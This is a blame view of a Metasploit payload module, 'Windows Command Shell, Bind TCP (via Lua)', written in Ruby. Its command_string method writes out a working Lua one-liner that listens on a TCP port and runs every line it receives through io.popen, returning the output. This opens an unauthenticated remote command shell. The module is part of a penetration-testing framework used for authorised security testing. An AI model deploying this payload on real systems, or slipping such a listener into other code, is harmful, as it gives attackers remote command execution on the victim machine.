Files
metasploit-gs/modules/payloads/singles/cmd/windows/bind_lua.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

57 lines
1.5 KiB
Ruby
Raw Normal View History

2013-09-16 17:02:08 +07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-21 13:36:15 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-09-16 17:02:08 +07:00
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
2013-09-16 17:02:08 +07:00
2020-01-14 17:34:47 +08:00
CachedSize = 218
2013-09-16 17:02:08 +07:00
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
2022-11-22 05:49:48 -05:00
'Name' => 'Windows Command Shell, Bind TCP (via Lua)',
'Description' => 'Listen for a connection and spawn a command shell via Lua',
'Author' =>
[
'xistence <xistence[at]0x90.nl>',
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'lua',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_advanced_options(
[
OptString.new('LuaPath', [true, 'The path to the Lua executable', 'lua'])
]
)
2013-09-16 17:02:08 +07:00
end
#
# Constructs the payload
#
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
2013-09-16 17:02:08 +07:00
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
2022-11-22 05:49:48 -05:00
"#{datastore['LuaPath']} -e \"local s=require('socket');local s=assert(s.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""
2013-09-16 17:02:08 +07:00
end
end